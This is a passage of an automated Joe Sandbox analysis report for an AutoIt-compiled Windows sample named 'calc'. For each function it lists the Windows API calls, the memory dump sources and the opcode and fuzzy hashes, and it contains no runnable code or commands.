    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ClassDialogMessageName
    • String ID: AutoIt v3$AutoIt v3 GUI
    • API String ID: 682379513-3732297864
    • Opcode ID: 2c04c3e885fe4a13a4564aa067ff1c05ecb8970d72aafcf156814eb3c7134043
    • Instruction ID: 31906f7eeedf88e2066356eeae69c8cc25b19cc0742b4b4f6c180b3507dca45f
    • Opcode Fuzzy Hash: 2c04c3e885fe4a13a4564aa067ff1c05ecb8970d72aafcf156814eb3c7134043
    • Instruction Fuzzy Hash: 1021C0B1700304EFDB18DEA4D884B9A73A8FF50305F1010BAEE45E3190E778ED88CA48
    Function 0040B2D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0040B341
    • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 0040B356
    • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 0040B362
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend
    • String ID: msctls_trackbar32
    • API String ID: 3850602802-1010561917
    • Opcode ID: b6b8602c3e9a2c36321137a8017de26e3863274e984a736940d36414d29ae470
    • Instruction ID: 53a97837dd6e4f9169c4f51732602e26d21817ba787e7e5a00f6ab4d683d84b6
    • Opcode Fuzzy Hash: b6b8602c3e9a2c36321137a8017de26e3863274e984a736940d36414d29ae470
    • Instruction Fuzzy Hash: 6B114C71500248BACF218F55CC48ECB3FB5EF8A768F11426AFE146A2A1C3759C51DBA8
    Function 00415DF7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 00414513: RegOpenKeyExW.ADVAPI32(00000004,0045DC34,00000000,00000001,?,?,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?), ref: 00414532
      • Part of subcall function 00414513: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,-0000076C,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?), ref: 00414549
      • Part of subcall function 00414513: RegCloseKey.ADVAPI32(?,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?,-0000076C,?,0045DC34,00000004,?), ref: 0041455A
    • mouse_event.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00415E70
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseOpenQueryValuemouse_event
    • String ID: 1$Control Panel\Mouse$SwapMouseButtons
    • API String ID: 3120867179-1333076132
    • Opcode ID: 4c009d8be6e611ea7ee0ed7a481dcb082e4cdc1e9cdb4b0e7271ae557d9b4d1a
    • Instruction ID: 2ea29db1dba191207fecf7cfac24f3fe5103bd27f5e71a9027c62f24b1f2dd5b
    • Opcode Fuzzy Hash: 4c009d8be6e611ea7ee0ed7a481dcb082e4cdc1e9cdb4b0e7271ae557d9b4d1a
    • Instruction Fuzzy Hash: 5E01A2B3E54704FAF31027748C46BFF2198D7957A5F290427FA12E2181F2AC8FC250AA
    Function 00408A31 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46windowCOMMON
    Download Yara Rule
    APIs
    • GetMenuItemInfoW.USER32(?), ref: 00408A63
    • SetMenuItemInfoW.USER32(?,?,00000000,0000002C), ref: 00408A82
    • DrawMenuBar.USER32 ref: 00408A8E
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Menu$InfoItem$Draw
    • String ID: ,
    • API String ID: 3227129158-3772416878
    • Opcode ID: c76b63d13cbcab5be6d8f3e1f9b0cc11a5ab769ce1081a37cc8b288e6b993584
    • Instruction ID: 2f9b948e05608c0d9f315e3ffc74653f53923b8b4e1199330be738cfb09ea567
    • Opcode Fuzzy Hash: c76b63d13cbcab5be6d8f3e1f9b0cc11a5ab769ce1081a37cc8b288e6b993584
    • Instruction Fuzzy Hash: 6E018C71A14209EEEB219FA0DD44BEE7BB4BF04354F14403FF985A01A1DB788850EF58
    Function 0044C282 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON
    Download Yara Rule
    APIs
    • FlsFree.KERNEL32(00000005,0044C583,?,0045B1B8,00000060), ref: 0044C28D
    • RtlDeleteCriticalSection.NTDLL(00000000), ref: 0044C5EC
    • RtlDeleteCriticalSection.NTDLL(00000005), ref: 0044C616
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CriticalDeleteSection$Free
    • String ID: @tF
    • API String ID: 1584690612-1530334341
    • Opcode ID: 01b143963cca39370ce2585153303752f0b35396f52a163d064d04b11265ad58
    • Instruction ID: 61e3c6bb3eba4695027c1047a15e5766942772b649c9c3fc9bb0005c32650307
    • Opcode Fuzzy Hash: 01b143963cca39370ce2585153303752f0b35396f52a163d064d04b11265ad58
    • Instruction Fuzzy Hash: 99F0F432842711A7E6745A199CC841AB29A5B01337B19423FE8BAE3250EB3C9C4149AE
    Function 00442E50 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON
    Download Yara Rule
    APIs
    • GetTempPathA.KERNEL32(00000104,?), ref: 00442E65
    • GetTempFileNameA.KERNEL32(?,aut,00000000,00442FBD), ref: 00442E7C
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Temp$FileNamePath
    • String ID: aut${QB
    • API String ID: 3285503233-2878779683
    • Opcode ID: 21fe6b80f46257c1ad797387a32405323667ccc13c02846317d97aa5df9483ca
    • Instruction ID: 3d67460f30d7d14f51de960d09033c2ab69468caedc65b49ba4bb88e44c07f54
    • Opcode Fuzzy Hash: 21fe6b80f46257c1ad797387a32405323667ccc13c02846317d97aa5df9483ca
    • Instruction Fuzzy Hash: 1CD05E7150430DFBDB10AB90DC4AFC9776C9714709F0004A1B68495090DAF4D9C58B5A
    Function 0043004A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FD8C,00000001,0042ACF7,?,20000013,?,?,00000000,00000001), ref: 00430055
    • GetProcAddress.KERNEL32(00000000,HttpQueryInfoW), ref: 00430067
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: HttpQueryInfoW$Wininet.dll
    • API String ID: 2574300362-1827896123
    • Opcode ID: 2c1ab40f9f572c927a0f49cc0b26cfcbf8b99dfb582a9751682da44302c35902
    • Instruction ID: ae3e7c10155bc4f291df986d1bcd477b896a64aa057136c8ef096f6152cf38fa
    • Opcode Fuzzy Hash: 2c1ab40f9f572c927a0f49cc0b26cfcbf8b99dfb582a9751682da44302c35902
    • Instruction Fuzzy Hash: C7D0C970A41302EECB208F71D8497137AF8AB44B02F209A6BB486D1260E77CE480CA1E
    Function 00430071 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FDA2,?,0042AE6F,00000000,00000000,?,00000000,00000000,00000000,80000000,00000000), ref: 0043007C
    • GetProcAddress.KERNEL32(00000000,HttpOpenRequestW), ref: 0043008E
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: HttpOpenRequestW$Wininet.dll
    • API String ID: 2574300362-1025864003
    • Opcode ID: fa93d8326efd3392f730695c0b1e64c3d25dd35159c5fa05e1670c90f17307a6
    • Instruction ID: 3aaa05196208d3405ad0e3724d1edfe7fa9879c1e0bd29b72703f7ab18a18b8f
    • Opcode Fuzzy Hash: fa93d8326efd3392f730695c0b1e64c3d25dd35159c5fa05e1670c90f17307a6
    • Instruction Fuzzy Hash: CED0C970641302EECB208F71D849B237AF8AB48702F20996AB49ED1260E778C840CE1E
    Function 00430023 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FD76,00000000,0042AAC3,00000000,?,80000000,00000001,00000000), ref: 0043002E
    • GetProcAddress.KERNEL32(00000000,FtpOpenFileW), ref: 00430040
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: FtpOpenFileW$Wininet.dll
    • API String ID: 2574300362-1343039947
    • Opcode ID: 6420013c9dd9f3a00795251f9aeb9b087d60abef74e79443d0e6b0bbbbe75e81
    • Instruction ID: 762bacf6f0d06cfb391cf0f2ff01321af7d6c7216697d0843cc30400aa9164b9
    • Opcode Fuzzy Hash: 6420013c9dd9f3a00795251f9aeb9b087d60abef74e79443d0e6b0bbbbe75e81
    • Instruction Fuzzy Hash: C3D0C974641302EECB608F61D8497137AF8AB44702F20997BB48AD1261E77CD440CE5E
    Function 004300E6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FE10,00000000,0042B1F3,00000000,00000032,?,00000008,?,00000003), ref: 004300F1
    • GetProcAddress.KERNEL32(00000000,InternetSetOptionW), ref: 00430103
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: InternetSetOptionW$Wininet.dll
    • API String ID: 2574300362-1330685833
    • Opcode ID: 95de0dffc22d0963259c4d69c6c45233e077d41ec1b1f5133d5896be310fb27d
    • Instruction ID: ff59ce156c35f3968f4afa164b3a05efdcf9e96a6bec108e9525e22fa4784c4e
    • Opcode Fuzzy Hash: 95de0dffc22d0963259c4d69c6c45233e077d41ec1b1f5133d5896be310fb27d
    • Instruction Fuzzy Hash: 56D0C970641312EECB20AF61D8497137FE8AB55702F20996AB486D1262E778C440CF1E
    Function 004120F8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(user32.dll,00410D3B,?,?,004115D3,00000012,?,00000000,?,00000000), ref: 00412103
    • GetProcAddress.KERNEL32(00000000,SendInput), ref: 00412115
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: SendInput$user32.dll
    • API String ID: 2574300362-1064832393
    • Opcode ID: 4ead3b7de1eb813e2890999ff995c73bf3de4ffd0baf0b3798f1e810c2294c97
    • Instruction ID: b963cc7c8b00b921c783b673ea5c61c7744dee692fadaf3b76782265ccaed0cb
    • Opcode Fuzzy Hash: 4ead3b7de1eb813e2890999ff995c73bf3de4ffd0baf0b3798f1e810c2294c97
    • Instruction Fuzzy Hash: 38D0C970540306EFCB209FB1C98A71277E8AB00707F20886BB989E1293D7B8C484CA1C
    Function 00430098 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FDB8,?,0042AEB5,00000000,00000000,00000000,00000000,00000000), ref: 004300A3
    • GetProcAddress.KERNEL32(00000000,HttpSendRequestW), ref: 004300B5
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: HttpSendRequestW$Wininet.dll
    • API String ID: 2574300362-571859679
    • Opcode ID: 56287dbb5c8fa613192b2f9640bf059d33571e061af0d96863c42d5ccb391b72
    • Instruction ID: f9c0c41dff0c6647ec6965b73e0666f837cba77f00087c9ce6256905e321456e
    • Opcode Fuzzy Hash: 56287dbb5c8fa613192b2f9640bf059d33571e061af0d96863c42d5ccb391b72
    • Instruction Fuzzy Hash: FFD0C970641306EECB749F61D8497137AF8AB44702F20996BF886D1260E7B8D480CA1F
    Function 004300BF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FDFA,00000000,0042B1CB,00000000,00000028,?,00000002,?,00000003), ref: 004300CA
    • GetProcAddress.KERNEL32(00000000,InternetQueryOptionW), ref: 004300DC
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: InternetQueryOptionW$Wininet.dll
    • API String ID: 2574300362-1362718701
    • Opcode ID: 0d504de1963ce42602e00efced6689885ade31a502019b9bd417622be1b721a3
    • Instruction ID: c37a48820cd0ffcfbf34dd1ef459abadf152d0e03d59a3200862424fa437e460
    • Opcode Fuzzy Hash: 0d504de1963ce42602e00efced6689885ade31a502019b9bd417622be1b721a3
    • Instruction Fuzzy Hash: CED0C970641702EFCB208FA1D84D7177AF8AB48703F20DD6AB486E1260E778C440CE1E
    Function 00416372 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(kernel32.dll,0041461F,75570F00,00479E08), ref: 0041637D
    • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0041638F
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: CreateToolhelp32Snapshot$kernel32.dll
    • API String ID: 2574300362-2184173117
    • Opcode ID: 62595157b22fda739014627afa9ea7e3df963d3aed48f7e5d35cffbc788012c6
    • Instruction ID: 9f7cde7f1173ff8d5ff4e5ff3ff1ee0d7b1cb5314f7db605f839c3c4faef6e20
    • Opcode Fuzzy Hash: 62595157b22fda739014627afa9ea7e3df963d3aed48f7e5d35cffbc788012c6
    • Instruction Fuzzy Hash: ADD0C970580706EFCB20AF61C8897137AE8AB50703F228C6AF8A9D2652D778D484CF1C
    Function 004163C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(kernel32.dll,00414641,75570F00,00479E08), ref: 004163CB
    • GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 004163DD
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: Process32NextW$kernel32.dll
    • API String ID: 2574300362-1444338893
    • Opcode ID: b7a060d01d0b2cbd5aeda42b9088a336d274536439e0dbfa02d83227cf22a235
